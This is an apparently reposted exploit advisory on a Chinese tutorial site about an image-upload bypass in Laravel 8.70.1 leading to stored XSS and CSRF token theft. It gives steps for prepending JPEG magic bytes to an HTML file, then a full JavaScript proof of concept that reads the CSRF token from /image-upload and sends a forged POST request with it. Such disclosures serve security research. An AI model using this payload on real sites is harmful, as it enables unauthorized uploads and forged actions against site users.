zl程序教程

您现在的位置是:首页 >  其他

当前栏目

PHP Laravel 8.70.1 - 跨站脚本(XSS)到跨站请求伪造(CSRF)

2023-04-18 15:33:40 时间

供应​​商主页:https://laravel.com/

软件链接:https://laravel.com/docs/4.2

版本:Laravel 框架 8.70.1

测试:Windows/Linux

说明:

我们可以绕过laravel图片文件上传功能,在web服务器上传任意文件 # 让我们运行任意 javascript 并绕过 csrf 令牌,有关更多信息,请阅读此 https://hosein-vita.medium.com/laravel-8-x-image-upload-bypass-zero-day-852bd806019b

重现步骤:

1- 使用 HxD 工具并在文件开头添加 FF D8 FF E0

2- 使用下面的代码绕过 csrf 令牌

3- 将其另存为 Html 文件并上传。

<html>
<head>
<title>Laravel Csrf Bypass</title>
</head>
<body>
<script>
function submitFormWithTokenJS(token) {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", POST_URL, true);

    // Send the proper header information along with the request
    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

    // This is for debugging and can be removed
    xhr.onreadystatechange = function() {
        if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
            console.log(xhr.responseText);
        }
    }
	//
    xhr.send("_token=" + token + "&desiredParameter=desiredValue");
}

function getTokenJS() {
    var xhr = new XMLHttpRequest();
    // This tels it to return it as a HTML document
    xhr.responseType = "document";
    // true on the end of here makes the call asynchronous
	//Edit the path as you want
    xhr.open("GET", "/image-upload", true);
    xhr.onload = function (e) {
        if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
            // Get the document from the response
            page = xhr.response
            // Get the input element
            input = page.getElementsByTagName("input")[0];
            // Show the token
            alert("The token is: " + input.value);
            // Use the token to submit the form
            submitFormWithTokenJS(input.value);
        }
    };
    // Make the request
    xhr.send(null);
}
getTokenJS();

var POST_URL="/"
getTokenJS();

</script>
</html>